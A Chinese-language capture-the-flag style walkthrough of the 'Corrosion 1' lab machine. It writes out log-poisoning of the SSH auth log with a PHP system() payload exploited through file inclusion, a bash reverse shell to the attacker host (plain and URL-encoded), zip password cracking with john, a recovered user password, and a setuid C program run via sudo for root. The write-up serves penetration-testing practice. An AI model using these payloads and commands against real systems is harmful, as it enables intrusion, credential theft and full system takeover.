CORROSION 1
攻击机:192.168.199.200
靶机:192.168.199.121
扫描目标开放端口
利用工具dirsearch对目标http进行目录爆破
访问一下扫到的内容,发现了txt文件里似乎有提示信息
推测是在登录日志中可能存在文件包含
再扫描blog-post的目录下发现一个php文件
打开php文件,需要一个参数,根据提示使用fuzz找一下参数
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/big.txt -u 'http://192.168.199.121/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' -fs 0
得到了file参数,将参数值设为日志文件目录,尝试访问日志
尝试在ssh连接时写入php代码到日志文件中
ssh '<?php system($_GET["aaa"]); ?>'@192.168.199.121
说明日志文件会将ssh用户名作为php代码执行
尝试输入想要获取的信息值,例如uid
view-source:http://192.168.199.121/blog-post/archives/randylogs.php?file=/var/log/auth.log&aaa=id
确认可以利用后,写bash脚本反弹shell,先在本机监听端口
nc -nvlp 8899
直接写入发现不会弹shell
bash -c 'bash -i >& /dev/tcp/192.168.199.200/8899 0>&1'
需要使用URL编码
bash%20-c%20%27bash%20-i%20>%26%20%2Fdev%2Ftcp%2F192.168.199.200%2F8899%200>%261%27
view-source:http://192.168.199.121/blog-post/archives/randylogs.php?file=/var/log/auth.log&aaa=bash%20-c%20%27bash%20-i%20>%26%20%2Fdev%2Ftcp%2F192.168.199.200%2F8899%200>%261%27
在/var/backups目录下找个一个疑似账户备份的压缩包
下载后发现里面似乎有账户的密码,但是解压需要密码
Python3 -m http.server
使用工具爆破解压密码:
zip2john user_backup.zip | tee hash
john hash --wordlist=/tools/password/pass.txt
查看其余三个文件没有有用信息,得到用户密码
randylovesgoldfish1998
使用ssh登录,拿到用户FLAG
提权,发现可以通过sudo滥用提权
写一个用来提权的easysysinfo.c文件,编译到/home/randy/tools/easysysinfo中,利用sudo执行成功提权
nano easysysinfo.c
#include <unistd.h>
#include <stdlib.h>
void main()
{
setuid(0);
setgid(0);
system("bash -i");
}
gcc easysysinfo.c -o easysysinfo
sudo ./easysysinfo
拿到root权限